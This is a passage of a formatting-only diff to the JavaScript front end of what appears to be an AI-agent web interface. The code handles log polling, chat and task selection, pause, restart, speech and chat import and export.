375 + }
376
371 - if (lastLogVersion != response.log_version) {
372 - updated = true
373 - for (const log of response.logs) {
374 - const messageId = log.id || log.no; // Use log.id if available
375 - setMessage(messageId, log.type, log.heading, log.content, log.temp, log.kvps);
376 - }
377 - afterMessagesUpdate(response.logs)
378 - }
377 + if (lastLogVersion != response.log_version) {
378 + updated = true;
379 + for (const log of response.logs) {
380 + const messageId = log.id || log.no; // Use log.id if available
381 + setMessage(
382 + messageId,
383 + log.type,
384 + log.heading,
385 + log.content,
386 + log.temp,
387 + log.kvps
388 + );
389 + }
390 + afterMessagesUpdate(response.logs);
391 + }
392 +
393 + lastLogVersion = response.log_version;
394 + lastLogGuid = response.log_guid;
395
380 - lastLogVersion = response.log_version;
381 - lastLogGuid = response.log_guid;
396 + updateProgress(response.log_progress, response.log_progress_active);
397
383 - updateProgress(response.log_progress, response.log_progress_active)
398 + //set ui model vars from backend
399 + const inputAD = Alpine.$data(inputSection);
400 + inputAD.paused = response.paused;
401
385 - //set ui model vars from backend
386 - const inputAD = Alpine.$data(inputSection);
387 - inputAD.paused = response.paused;
402 + // Update status icon state
403 + setConnectionStatus(true);
404
389 - // Update status icon state
390 - setConnectionStatus(true)
405 + // Update chats list and sort by created_at time (newer first)
406 + const chatsAD = Alpine.$data(chatsSection);
407 + const contexts = response.contexts || [];
408 + chatsAD.contexts = contexts.sort(
409 + (a, b) => (b.created_at || 0) - (a.created_at || 0)
410 + );
411
392 - // Update chats list and sort by created_at time (newer first)
393 - const chatsAD = Alpine.$data(chatsSection);
394 - const contexts = response.contexts || [];
395 - chatsAD.contexts = contexts.sort((a, b) =>
396 - (b.created_at || 0) - (a.created_at || 0)
412 + // Update tasks list and sort by creation time (newer first)
413 + const tasksSection = document.getElementById("tasks-section");
414 + if (tasksSection) {
415 + const tasksAD = Alpine.$data(tasksSection);
416 + let tasks = response.tasks || [];
417 +
418 + // Always update tasks to ensure state changes are reflected
419 + if (tasks.length > 0) {
420 + // Sort the tasks by creation time
421 + const sortedTasks = [...tasks].sort(
422 + (a, b) => (b.created_at || 0) - (a.created_at || 0)
423 );
424
399 - // Update tasks list and sort by creation time (newer first)
400 - const tasksSection = document.getElementById('tasks-section');
401 - if (tasksSection) {
402 - const tasksAD = Alpine.$data(tasksSection);
403 - let tasks = response.tasks || [];
404 -
405 - // Always update tasks to ensure state changes are reflected
406 - if (tasks.length > 0) {
407 - // Sort the tasks by creation time
408 - const sortedTasks = [...tasks].sort((a, b) =>
409 - (b.created_at || 0) - (a.created_at || 0)
410 - );
411 -
412 - // Assign the sorted tasks to the Alpine data
413 - tasksAD.tasks = sortedTasks;
414 - } else {
415 - // Make sure to use a new empty array instance
416 - tasksAD.tasks = [];
417 - }
418 - }
425 + // Assign the sorted tasks to the Alpine data
426 + tasksAD.tasks = sortedTasks;
427 + } else {
428 + // Make sure to use a new empty array instance
429 + tasksAD.tasks = [];
430 + }
431 + }
432
420 - // Make sure the active context is properly selected in both lists
421 - if (context) {
422 - // Update selection in the active tab
423 - const activeTab = localStorage.getItem('activeTab') || 'chats';
424 -
425 - if (activeTab === 'chats') {
426 - chatsAD.selected = context;
427 - localStorage.setItem('lastSelectedChat', context);
428 -
429 - // Check if this context exists in the chats list
430 - const contextExists = contexts.some(ctx => ctx.id === context);
431 -
432 - // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat
433 - if (!contextExists && contexts.length > 0) {
434 - // Check if the current context is empty before creating a new one
435 - // If there's already a current context and we're just updating UI, don't automatically
436 - // create a new context by calling setContext
437 - const firstChatId = contexts[0].id;
438 -
439 - // Only create a new context if we're not currently in an existing context
440 - // This helps prevent duplicate contexts when switching tabs
441 - setContext(firstChatId);
442 - chatsAD.selected = firstChatId;
443 - localStorage.setItem('lastSelectedChat', firstChatId);
444 - }
445 - } else if (activeTab === 'tasks' && tasksSection) {
446 - const tasksAD = Alpine.$data(tasksSection);
447 - tasksAD.selected = context;
448 - localStorage.setItem('lastSelectedTask', context);
449 -
450 - // Check if this context exists in the tasks list
451 - const taskExists = response.tasks?.some(task => task.id === context);
452 -
453 - // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task
454 - if (!taskExists && response.tasks?.length > 0) {
455 - const firstTaskId = response.tasks[0].id;
456 - setContext(firstTaskId);
457 - tasksAD.selected = firstTaskId;
458 - localStorage.setItem('lastSelectedTask', firstTaskId);
459 - }
460 - }
461 - } else if (response.tasks && response.tasks.length > 0 && localStorage.getItem('activeTab') === 'tasks') {
462 - // If we're in tasks tab with no selection but have tasks, select the first one
463 - const firstTaskId = response.tasks[0].id;
464 - setContext(firstTaskId);
465 - if (tasksSection) {
466 - const tasksAD = Alpine.$data(tasksSection);
467 - tasksAD.selected = firstTaskId;
468 - localStorage.setItem('lastSelectedTask', firstTaskId);
469 - }
470 - } else if (contexts.length > 0 && localStorage.getItem('activeTab') === 'chats') {
471 - // If we're in chats tab with no selection but have chats, select the first one
472 - const firstChatId = contexts[0].id;
473 -
474 - // Only set context if we don't already have one to avoid duplicates
475 - if (!context) {
476 - setContext(firstChatId);
477 - chatsAD.selected = firstChatId;
478 - localStorage.setItem('lastSelectedChat', firstChatId);
479 - }
433 + // Make sure the active context is properly selected in both lists
434 + if (context) {
435 + // Update selection in the active tab
436 + const activeTab = localStorage.getItem("activeTab") || "chats";
437 +
438 + if (activeTab === "chats") {
439 + chatsAD.selected = context;
440 + localStorage.setItem("lastSelectedChat", context);
441 +
442 + // Check if this context exists in the chats list
443 + const contextExists = contexts.some((ctx) => ctx.id === context);
444 +
445 + // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat
446 + if (!contextExists && contexts.length > 0) {
447 + // Check if the current context is empty before creating a new one
448 + // If there's already a current context and we're just updating UI, don't automatically
449 + // create a new context by calling setContext
450 + const firstChatId = contexts[0].id;
451 +
452 + // Only create a new context if we're not currently in an existing context
453 + // This helps prevent duplicate contexts when switching tabs
454 + setContext(firstChatId);
455 + chatsAD.selected = firstChatId;
456 + localStorage.setItem("lastSelectedChat", firstChatId);
457 }
481 -
482 - lastLogVersion = response.log_version;
483 - lastLogGuid = response.log_guid;
484 -
485 - } catch (error) {
486 - console.error('Error:', error);
487 - setConnectionStatus(false)
458 + } else if (activeTab === "tasks" && tasksSection) {
459 + const tasksAD = Alpine.$data(tasksSection);
460 + tasksAD.selected = context;
461 + localStorage.setItem("lastSelectedTask", context);
462 +
463 + // Check if this context exists in the tasks list
464 + const taskExists = response.tasks?.some((task) => task.id === context);
465 +
466 + // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task
467 + if (!taskExists && response.tasks?.length > 0) {
468 + const firstTaskId = response.tasks[0].id;
469 + setContext(firstTaskId);
470 + tasksAD.selected = firstTaskId;
471 + localStorage.setItem("lastSelectedTask", firstTaskId);
472 + }
473 + }
474 + } else if (
475 + response.tasks &&
476 + response.tasks.length > 0 &&
477 + localStorage.getItem("activeTab") === "tasks"
478 + ) {
479 + // If we're in tasks tab with no selection but have tasks, select the first one
480 + const firstTaskId = response.tasks[0].id;
481 + setContext(firstTaskId);
482 + if (tasksSection) {
483 + const tasksAD = Alpine.$data(tasksSection);
484 + tasksAD.selected = firstTaskId;
485 + localStorage.setItem("lastSelectedTask", firstTaskId);
486 + }
487 + } else if (
488 + contexts.length > 0 &&
489 + localStorage.getItem("activeTab") === "chats"
490 + ) {
491 + // If we're in chats tab with no selection but have chats, select the first one
492 + const firstChatId = contexts[0].id;
493 +
494 + // Only set context if we don't already have one to avoid duplicates
495 + if (!context) {
496 + setContext(firstChatId);
497 + chatsAD.selected = firstChatId;
498 + localStorage.setItem("lastSelectedChat", firstChatId);
499 + }
500 }
501
490 - return updated
502 + lastLogVersion = response.log_version;
503 + lastLogGuid = response.log_guid;
504 + } catch (error) {
505 + console.error("Error:", error);
506 + setConnectionStatus(false);
507 + }
508 +
509 + return updated;
510 }
511
512 function afterMessagesUpdate(logs) {
494 - if (localStorage.getItem('speech') == 'true') {
495 - speakMessages(logs)
496 - }
513 + if (localStorage.getItem("speech") == "true") {
514 + speakMessages(logs);
515 + }
516 }
517
518 function speakMessages(logs) {
500 - // log.no, log.type, log.heading, log.content
501 - for (let i = logs.length - 1; i >= 0; i--) {
502 - const log = logs[i]
503 - if (log.type == "response") {
504 - if (log.no > lastSpokenNo) {
505 - lastSpokenNo = log.no
506 - speech.speak(log.content)
507 - return
508 - }
509 - }
519 + // log.no, log.type, log.heading, log.content
520 + for (let i = logs.length - 1; i >= 0; i--) {
521 + const log = logs[i];
522 + if (log.type == "response") {
523 + if (log.no > lastSpokenNo) {
524 + lastSpokenNo = log.no;
525 + speech.speak(log.content);
526 + return;
527 + }
528 }
529 + }
530 }
531
532 function updateProgress(progress, active) {
514 - if (!progress) progress = ""
533 + if (!progress) progress = "";
534
516 - if (!active) {
517 - removeClassFromElement(progressBar, "shiny-text")
518 - } else {
519 - addClassToElement(progressBar, "shiny-text")
520 - }
535 + if (!active) {
536 + removeClassFromElement(progressBar, "shiny-text");
537 + } else {
538 + addClassToElement(progressBar, "shiny-text");
539 + }
540
522 - if (progressBar.innerHTML != progress) {
523 - progressBar.innerHTML = progress
524 - }
541 + if (progressBar.innerHTML != progress) {
542 + progressBar.innerHTML = progress;
543 + }
544 }
545
546 window.pauseAgent = async function (paused) {
528 - try {
529 - const resp = await sendJsonData("/pause", { paused: paused, context });
530 - } catch (e) {
531 - window.toastFetchError("Error pausing agent", e)
532 - }
533 -}
547 + try {
548 + const resp = await sendJsonData("/pause", { paused: paused, context });
549 + } catch (e) {
550 + window.toastFetchError("Error pausing agent", e);
551 + }
552 +};
553
535 -window.resetChat = async function (ctxid=null) {
536 - try {
537 - const resp = await sendJsonData("/chat_reset", { "context": ctxid === null ? context : ctxid });
538 - if (ctxid === null) updateAfterScroll();
539 - } catch (e) {
540 - window.toastFetchError("Error resetting chat", e);
541 - }
542 -}
554 +window.resetChat = async function (ctxid = null) {
555 + try {
556 + const resp = await sendJsonData("/chat_reset", {
557 + context: ctxid === null ? context : ctxid,
558 + });
559 + if (ctxid === null) updateAfterScroll();
560 + } catch (e) {
561 + window.toastFetchError("Error resetting chat", e);
562 + }
563 +};
564
565 window.newChat = async function () {
545 - try {
546 - setContext(generateGUID());
547 - updateAfterScroll()
548 - } catch (e) {
549 - window.toastFetchError("Error creating new chat", e)
550 - }
551 -}
566 + try {
567 + setContext(generateGUID());
568 + updateAfterScroll();
569 + } catch (e) {
570 + window.toastFetchError("Error creating new chat", e);
571 + }
572 +};
573
574 window.killChat = async function (id) {
554 - if (!id) {
555 - console.error("No chat ID provided for deletion");
556 - return;
557 - }
575 + if (!id) {
576 + console.error("No chat ID provided for deletion");
577 + return;
578 + }
579
559 - console.log("Deleting chat with ID:", id);
580 + console.log("Deleting chat with ID:", id);
581
561 - try {
562 - const chatsAD = Alpine.$data(chatsSection);
563 - console.log("Current contexts before deletion:", JSON.stringify(chatsAD.contexts.map(c => ({ id: c.id, name: c.name }))));
582 + try {
583 + const chatsAD = Alpine.$data(chatsSection);
584 + console.log(
585 + "Current contexts before deletion:",
586 + JSON.stringify(chatsAD.contexts.map((c) => ({ id: c.id, name: c.name })))
587 + );
588
565 - // switch to another context if deleting current
566 - switchFromContext(id);
589 + // switch to another context if deleting current
590 + switchFromContext(id);
591
568 - // Delete the chat on the server
569 - await sendJsonData("/chat_remove", { context: id });
592 + // Delete the chat on the server
593 + await sendJsonData("/chat_remove", { context: id });
594
571 - // Update the UI manually to ensure the correct chat is removed
572 - // Deep clone the contexts array to prevent reference issues
573 - const updatedContexts = chatsAD.contexts.filter(ctx => ctx.id !== id);
574 - console.log("Updated contexts after deletion:", JSON.stringify(updatedContexts.map(c => ({ id: c.id, name: c.name }))));
595 + // Update the UI manually to ensure the correct chat is removed
596 + // Deep clone the contexts array to prevent reference issues
597 + const updatedContexts = chatsAD.contexts.filter((ctx) => ctx.id !== id);
598 + console.log(
599 + "Updated contexts after deletion:",
600 + JSON.stringify(updatedContexts.map((c) => ({ id: c.id, name: c.name })))
601 + );
602
576 - // Force UI update by creating a new array
577 - chatsAD.contexts = [...updatedContexts];
603 + // Force UI update by creating a new array
604 + chatsAD.contexts = [...updatedContexts];
605
579 - updateAfterScroll();
606 + updateAfterScroll();
607
581 - toast("Chat deleted successfully", "success");
582 - } catch (e) {
583 - console.error("Error deleting chat:", e);
584 - window.toastFetchError("Error deleting chat", e);
585 - }
586 -}
608 + toast("Chat deleted successfully", "success");
609 + } catch (e) {
610 + console.error("Error deleting chat:", e);
611 + window.toastFetchError("Error deleting chat", e);
612 + }
613 +};
614
588 -export function switchFromContext(id){
589 - // If we're deleting the currently selected chat, switch to another one first
590 - if (context === id) {
591 - const chatsAD = Alpine.$data(chatsSection);
592 -
593 - // Find an alternate chat to switch to if we're deleting the current one
594 - let alternateChat = null;
595 - for (let i = 0; i < chatsAD.contexts.length; i++) {
596 - if (chatsAD.contexts[i].id !== id) {
597 - alternateChat = chatsAD.contexts[i];
598 - break;
599 - }
600 - }
615 +export function switchFromContext(id) {
616 + // If we're deleting the currently selected chat, switch to another one first
617 + if (context === id) {
618 + const chatsAD = Alpine.$data(chatsSection);
619
602 - if (alternateChat) {
603 - setContext(alternateChat.id);
604 - } else {
605 - // If no other chats, create a new empty context
606 - setContext(generateGUID());
607 - }
620 + // Find an alternate chat to switch to if we're deleting the current one
621 + let alternateChat = null;
622 + for (let i = 0; i < chatsAD.contexts.length; i++) {
623 + if (chatsAD.contexts[i].id !== id) {
624 + alternateChat = chatsAD.contexts[i];
625 + break;
626 + }
627 }
628 +
629 + if (alternateChat) {
630 + setContext(alternateChat.id);
631 + } else {
632 + // If no other chats, create a new empty context
633 + setContext(generateGUID());
634 + }
635 + }
636 }
637
638 // Function to ensure proper UI state when switching contexts
639 function ensureProperTabSelection(contextId) {
613 - // Get current active tab
614 - const activeTab = localStorage.getItem('activeTab') || 'chats';
640 + // Get current active tab
641 + const activeTab = localStorage.getItem("activeTab") || "chats";
642
616 - // First attempt to determine if this is a task or chat based on the task list
617 - const tasksSection = document.getElementById('tasks-section');
618 - let isTask = false;
643 + // First attempt to determine if this is a task or chat based on the task list
644 + const tasksSection = document.getElementById("tasks-section");
645 + let isTask = false;
646
620 - if (tasksSection) {
621 - const tasksAD = Alpine.$data(tasksSection);
622 - if (tasksAD && tasksAD.tasks) {
623 - isTask = tasksAD.tasks.some(task => task.id === contextId);
624 - }
647 + if (tasksSection) {
648 + const tasksAD = Alpine.$data(tasksSection);
649 + if (tasksAD && tasksAD.tasks) {
650 + isTask = tasksAD.tasks.some((task) => task.id === contextId);
651 }
652 + }
653 +
654 + // If we're selecting a task but are in the chats tab, switch to tasks tab
655 + if (isTask && activeTab === "chats") {
656 + // Store this as the last selected task before switching
657 + localStorage.setItem("lastSelectedTask", contextId);
658 + activateTab("tasks");
659 + return true;
660 + }
661 +
662 + // If we're selecting a chat but are in the tasks tab, switch to chats tab
663 + if (!isTask && activeTab === "tasks") {
664 + // Store this as the last selected chat before switching
665 + localStorage.setItem("lastSelectedChat", contextId);
666 + activateTab("chats");
667 + return true;
668 + }
669 +
670 + return false;
671 +}
672
627 - // If we're selecting a task but are in the chats tab, switch to tasks tab
628 - if (isTask && activeTab === 'chats') {
629 - // Store this as the last selected task before switching
630 - localStorage.setItem('lastSelectedTask', contextId);
631 - activateTab('tasks');
632 - return true;
633 - }
673 +window.selectChat = async function (id) {
674 + if (id === context) return; //already selected
675
635 - // If we're selecting a chat but are in the tasks tab, switch to chats tab
636 - if (!isTask && activeTab === 'tasks') {
637 - // Store this as the last selected chat before switching
638 - localStorage.setItem('lastSelectedChat', contextId);
639 - activateTab('chats');
640 - return true;
641 - }
676 + // Check if we need to switch tabs based on the context type
677 + const tabSwitched = ensureProperTabSelection(id);
678
643 - return false;
644 -}
679 + // If we didn't switch tabs, proceed with normal selection
680 + if (!tabSwitched) {
681 + // Switch to the new context - this will clear chat history and reset tracking variables
682 + setContext(id);
683
646 -window.selectChat = async function (id) {
647 - if (id === context) return //already selected
648 -
649 - // Check if we need to switch tabs based on the context type
650 - const tabSwitched = ensureProperTabSelection(id);
651 -
652 - // If we didn't switch tabs, proceed with normal selection
653 - if (!tabSwitched) {
654 - // Switch to the new context - this will clear chat history and reset tracking variables
655 - setContext(id);
656 -
657 - // Update both contexts and tasks lists to reflect the selected item
658 - const chatsAD = Alpine.$data(chatsSection);
659 - const tasksSection = document.getElementById('tasks-section');
660 - if (tasksSection) {
661 - const tasksAD = Alpine.$data(tasksSection);
662 - tasksAD.selected = id;
663 - }
664 - chatsAD.selected = id;
665 -
666 - // Store this selection in the appropriate localStorage key
667 - const activeTab = localStorage.getItem('activeTab') || 'chats';
668 - if (activeTab === 'chats') {
669 - localStorage.setItem('lastSelectedChat', id);
670 - } else if (activeTab === 'tasks') {
671 - localStorage.setItem('lastSelectedTask', id);
672 - }
684 + // Update both contexts and tasks lists to reflect the selected item
685 + const chatsAD = Alpine.$data(chatsSection);
686 + const tasksSection = document.getElementById("tasks-section");
687 + if (tasksSection) {
688 + const tasksAD = Alpine.$data(tasksSection);
689 + tasksAD.selected = id;
690 + }
691 + chatsAD.selected = id;
692
674 - // Trigger an immediate poll to fetch content
675 - poll();
693 + // Store this selection in the appropriate localStorage key
694 + const activeTab = localStorage.getItem("activeTab") || "chats";
695 + if (activeTab === "chats") {
696 + localStorage.setItem("lastSelectedChat", id);
697 + } else if (activeTab === "tasks") {
698 + localStorage.setItem("lastSelectedTask", id);
699 }
700
678 - updateAfterScroll();
679 -}
701 + // Trigger an immediate poll to fetch content
702 + poll();
703 + }
704
681 -export const setContext = function (id) {
682 - if (id == context) return;
683 - context = id;
684 - // Always reset the log tracking variables when switching contexts
685 - // This ensures we get fresh data from the backend
686 - lastLogGuid = "";
687 - lastLogVersion = 0;
688 - lastSpokenNo = 0;
689 -
690 - // Clear the chat history immediately to avoid showing stale content
691 - chatHistory.innerHTML = "";
692 -
693 - // Update both selected states
694 - const chatsAD = Alpine.$data(chatsSection);
695 - const tasksAD = Alpine.$data(tasksSection);
705 + updateAfterScroll();
706 +};
707
697 - chatsAD.selected = id;
698 - tasksAD.selected = id;
699 -}
708 +export const setContext = function (id) {
709 + if (id == context) return;
710 + context = id;
711 + // Always reset the log tracking variables when switching contexts
712 + // This ensures we get fresh data from the backend
713 + lastLogGuid = "";
714 + lastLogVersion = 0;
715 + lastSpokenNo = 0;
716 +
717 + // Clear the chat history immediately to avoid showing stale content
718 + chatHistory.innerHTML = "";
719 +
720 + // Update both selected states
721 + const chatsAD = Alpine.$data(chatsSection);
722 + const tasksAD = Alpine.$data(tasksSection);
723 +
724 + chatsAD.selected = id;
725 + tasksAD.selected = id;
726 +};
727
728 export const getContext = function () {
702 - return context
703 -}
729 + return context;
730 +};
731
732 window.toggleAutoScroll = async function (_autoScroll) {
706 - autoScroll = _autoScroll;
707 -}
733 + autoScroll = _autoScroll;
734 +};
735
736 window.toggleJson = async function (showJson) {
710 - // add display:none to .msg-json class definition
711 - toggleCssProperty('.msg-json', 'display', showJson ? 'block' : 'none');
712 -}
737 + // add display:none to .msg-json class definition
738 + toggleCssProperty(".msg-json", "display", showJson ? "block" : "none");
739 +};
740
741 window.toggleThoughts = async function (showThoughts) {
715 - // add display:none to .msg-json class definition
716 - toggleCssProperty('.msg-thoughts', 'display', showThoughts ? undefined : 'none');
717 -}
742 + // add display:none to .msg-json class definition
743 + toggleCssProperty(
744 + ".msg-thoughts",
745 + "display",
746 + showThoughts ? undefined : "none"
747 + );
748 +};
749
750 window.toggleUtils = async function (showUtils) {
720 - // add display:none to .msg-json class definition
721 - toggleCssProperty('.message-util', 'display', showUtils ? undefined : 'none');
722 - // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');
723 - // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');
724 -}
751 + // add display:none to .msg-json class definition
752 + toggleCssProperty(".message-util", "display", showUtils ? undefined : "none");
753 + // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');
754 + // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');
755 +};
756
757 window.toggleDarkMode = function (isDark) {
727 - if (isDark) {
728 - document.body.classList.remove('light-mode');
729 - document.body.classList.add('dark-mode');
730 - } else {
731 - document.body.classList.remove('dark-mode');
732 - document.body.classList.add('light-mode');
733 - }
734 - console.log("Dark mode:", isDark);
735 - localStorage.setItem('darkMode', isDark);
758 + if (isDark) {
759 + document.body.classList.remove("light-mode");
760 + document.body.classList.add("dark-mode");
761 + } else {
762 + document.body.classList.remove("dark-mode");
763 + document.body.classList.add("light-mode");
764 + }
765 + console.log("Dark mode:", isDark);
766 + localStorage.setItem("darkMode", isDark);
767 };
768
769 window.toggleSpeech = function (isOn) {
739 - console.log("Speech:", isOn);
740 - localStorage.setItem('speech', isOn);
741 - if (!isOn) speech.stop()
770 + console.log("Speech:", isOn);
771 + localStorage.setItem("speech", isOn);
772 + if (!isOn) speech.stop();
773 };
774
775 window.nudge = async function () {
745 - try {
746 - const resp = await sendJsonData("/nudge", { ctxid: getContext() });
747 - } catch (e) {
748 - toastFetchError("Error nudging agent", e)
749 - }
750 -}
776 + try {
777 + const resp = await sendJsonData("/nudge", { ctxid: getContext() });
778 + } catch (e) {
779 + toastFetchError("Error nudging agent", e);
780 + }
781 +};
782
783 window.restart = async function () {
753 - try {
754 - if (!getConnectionStatus()) {
755 - toast("Backend disconnected, cannot restart.", "error");
756 - return
757 - }
758 - // First try to initiate restart
759 - const resp = await sendJsonData("/restart", {});
760 - } catch (e) {
761 - // Show restarting message
762 - toast("Restarting...", "info", 0);
763 -
764 - let retries = 0;
765 - const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)
766 -
767 - while (retries < maxRetries) {
768 - try {
769 - const resp = await sendJsonData("/health", {});
770 - // Server is back up, show success message
771 - await new Promise(resolve => setTimeout(resolve, 250));
772 - hideToast();
773 - await new Promise(resolve => setTimeout(resolve, 400));
774 - toast("Restarted", "success", 5000);
775 - return;
776 - } catch (e) {
777 - // Server still down, keep waiting
778 - retries++;
779 - await new Promise(resolve => setTimeout(resolve, 250));
780 - }
781 - }
782 -
783 - // If we get here, restart failed or took too long
784 + try {
785 + if (!getConnectionStatus()) {
786 + toast("Backend disconnected, cannot restart.", "error");
787 + return;
788 + }
789 + // First try to initiate restart
790 + const resp = await sendJsonData("/restart", {});
791 + } catch (e) {
792 + // Show restarting message
793 + toast("Restarting...", "info", 0);
794 +
795 + let retries = 0;
796 + const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)
797 +
798 + while (retries < maxRetries) {
799 + try {
800 + const resp = await sendJsonData("/health", {});
801 + // Server is back up, show success message
802 + await new Promise((resolve) => setTimeout(resolve, 250));
803 hideToast();
785 - await new Promise(resolve => setTimeout(resolve, 400));
786 - toast("Restart timed out or failed", "error", 5000);
804 + await new Promise((resolve) => setTimeout(resolve, 400));
805 + toast("Restarted", "success", 5000);
806 + return;
807 + } catch (e) {
808 + // Server still down, keep waiting
809 + retries++;
810 + await new Promise((resolve) => setTimeout(resolve, 250));
811 + }
812 }
788 -}
813 +
814 + // If we get here, restart failed or took too long
815 + hideToast();
816 + await new Promise((resolve) => setTimeout(resolve, 400));
817 + toast("Restart timed out or failed", "error", 5000);
818 + }
819 +};
820
821 // Modify this part
791 -document.addEventListener('DOMContentLoaded', () => {
792 - const isDarkMode = localStorage.getItem('darkMode') !== 'false';
793 - toggleDarkMode(isDarkMode);
822 +document.addEventListener("DOMContentLoaded", () => {
823 + const isDarkMode = localStorage.getItem("darkMode") !== "false";
824 + toggleDarkMode(isDarkMode);
825 });
826
796 -
827 function toggleCssProperty(selector, property, value) {
798 - // Get the stylesheet that contains the class
799 - const styleSheets = document.styleSheets;
800 -
801 - // Iterate through all stylesheets to find the class
802 - for (let i = 0; i < styleSheets.length; i++) {
803 - const styleSheet = styleSheets[i];
804 - const rules = styleSheet.cssRules || styleSheet.rules;
805 -
806 - for (let j = 0; j < rules.length; j++) {
807 - const rule = rules[j];
808 - if (rule.selectorText == selector) {
809 - // Check if the property is already applied
810 - if (value === undefined) {
811 - rule.style.removeProperty(property);
812 - } else {
813 - rule.style.setProperty(property, value);
814 - }
815 - return;
816 - }
828 + // Get the stylesheet that contains the class
829 + const styleSheets = document.styleSheets;
830 +
831 + // Iterate through all stylesheets to find the class
832 + for (let i = 0; i < styleSheets.length; i++) {
833 + const styleSheet = styleSheets[i];
834 + const rules = styleSheet.cssRules || styleSheet.rules;
835 +
836 + for (let j = 0; j < rules.length; j++) {
837 + const rule = rules[j];
838 + if (rule.selectorText == selector) {
839 + // Check if the property is already applied
840 + if (value === undefined) {
841 + rule.style.removeProperty(property);
842 + } else {
843 + rule.style.setProperty(property, value);
844 }
845 + return;
846 + }
847 }
848 + }
849 }
850
851 window.loadChats = async function () {
822 - try {
823 - const fileContents = await readJsonFiles();
824 - const response = await sendJsonData("/chat_load", { chats: fileContents });
852 + try {
853 + const fileContents = await readJsonFiles();
854 + const response = await sendJsonData("/chat_load", { chats: fileContents });
855
826 - if (!response) {
827 - toast("No response returned.", "error")
828 - }
829 - // else if (!response.ok) {
830 - // if (response.message) {
831 - // toast(response.message, "error")
832 - // } else {
833 - // toast("Undefined error.", "error")
834 - // }
835 - // }
836 - else {
837 - setContext(response.ctxids[0])
838 - toast("Chats loaded.", "success")
839 - }
840 -
841 - } catch (e) {
842 - toastFetchError("Error loading chats", e)
856 + if (!response) {
857 + toast("No response returned.", "error");
858 }
844 -}
859 + // else if (!response.ok) {
860 + // if (response.message) {
861 + // toast(response.message, "error")
862 + // } else {
863 + // toast("Undefined error.", "error")
864 + // }
865 + // }
866 + else {
867 + setContext(response.ctxids[0]);
868 + toast("Chats loaded.", "success");
869 + }
870 + } catch (e) {
871 + toastFetchError("Error loading chats", e);
872 + }
873 +};
874
875 window.saveChat = async function () {
847 - try {
848 - const response = await sendJsonData("/chat_export", { ctxid: context });
876 + try {
877 + const response = await sendJsonData("/chat_export", { ctxid: context });
878
850 - if (!response) {
851 - toast("No response returned.", "error")
852 - }
853 - // else if (!response.ok) {
854 - // if (response.message) {
855 - // toast(response.message, "error")
856 - // } else {
857 - // toast("Undefined error.", "error")
858 - // }
859 - // }
860 - else {
861 - downloadFile(response.ctxid + ".json", response.content)
862 - toast("Chat file downloaded.", "success")
863 - }
864 -
865 - } catch (e) {
866 - toastFetchError("Error saving chat", e)
879 + if (!response) {
880 + toast("No response returned.", "error");
881 }
868 -}
882 + // else if (!response.ok) {
883 + // if (response.message) {
884 + // toast(response.message, "error")
885 + // } else {
886 + // toast("Undefined error.", "error")
887 + // }
888 + // }
889 + else {
890 + downloadFile(response.ctxid + ".json", response.content);
891 + toast("Chat file downloaded.", "success");
892 + }
893 + } catch (e) {
894 + toastFetchError("Error saving chat", e);
895 + }
896 +};
897
898 function downloadFile(filename, content) {
871 - // Create a Blob with the content to save
872 - const blob = new Blob([content], { type: 'application/json' });
899 + // Create a Blob with the content to save
900 + const blob = new Blob([content], { type: "application/json" });
901
874 - // Create a link element
875 - const link = document.createElement('a');
902 + // Create a link element
903 + const link = document.createElement("a");
904
877 - // Create a URL for the Blob
878 - const url = URL.createObjectURL(blob);
879 - link.href = url;
905 + // Create a URL for the Blob
906 + const url = URL.createObjectURL(blob);
907 + link.href = url;
908
881 - // Set the file name for download
882 - link.download = filename;
909 + // Set the file name for download
910 + link.download = filename;
911
884 - // Programmatically click the link to trigger the download
885 - link.click();
912 + // Programmatically click the link to trigger the download
913 + link.click();
914
887 - // Clean up by revoking the object URL
888 - setTimeout(() => {
889 - URL.revokeObjectURL(url);
890 - }, 0);
915 + // Clean up by revoking the object URL
916 + setTimeout(() => {
917 + URL.revokeObjectURL(url);
918 + }, 0);
919 }
920
893 -
921 function readJsonFiles() {
895 - return new Promise((resolve, reject) => {
896 - // Create an input element of type 'file'
897 - const input = document.createElement('input');
898 - input.type = 'file';
899 - input.accept = '.json'; // Only accept JSON files
900 - input.multiple = true; // Allow multiple file selection
901 -
902 - // Trigger the file dialog
903 - input.click();
904 -
905 - // When files are selected
906 - input.onchange = async () => {
907 - const files = input.files;
908 - if (!files.length) {
909 - resolve([]); // Return an empty array if no files are selected
910 - return;
911 - }
912 -
913 - // Read each file as a string and store in an array
914 - const filePromises = Array.from(files).map(file => {
915 - return new Promise((fileResolve, fileReject) => {
916 - const reader = new FileReader();
917 - reader.onload = () => fileResolve(reader.result);
918 - reader.onerror = fileReject;
919 - reader.readAsText(file);
920 - });
921 - });
922 -
923 - try {
924 - const fileContents = await Promise.all(filePromises);
925 - resolve(fileContents);
926 - } catch (error) {
927 - reject(error); // In case of any file reading error
928 - }
929 - };
930 - });
922 + return new Promise((resolve, reject) => {
923 + // Create an input element of type 'file'
924 + const input = document.createElement("input");
925 + input.type = "file";
926 + input.accept = ".json"; // Only accept JSON files
927 + input.multiple = true; // Allow multiple file selection
928 +
929 + // Trigger the file dialog
930 + input.click();
931 +
932 + // When files are selected
933 + input.onchange = async () => {
934 + const files = input.files;
935 + if (!files.length) {
936 + resolve([]); // Return an empty array if no files are selected
937 + return;
938 + }
939 +
940 + // Read each file as a string and store in an array
941 + const filePromises = Array.from(files).map((file) => {
942 + return new Promise((fileResolve, fileReject) => {
943 + const reader = new FileReader();
944 + reader.onload = () => fileResolve(reader.result);
945 + reader.onerror = fileReject;
946 + reader.readAsText(file);
947 + });
948 + });
949 +
950 + try {
951 + const fileContents = await Promise.all(filePromises);
952 + resolve(fileContents);
953 + } catch (error) {
954 + reject(error); // In case of any file reading error
955 + }
956 + };
957 + });
958 }
959
960 function addClassToElement(element, className) {
934 - element.classList.add(className);
961 + element.classList.add(className);
962 }
963
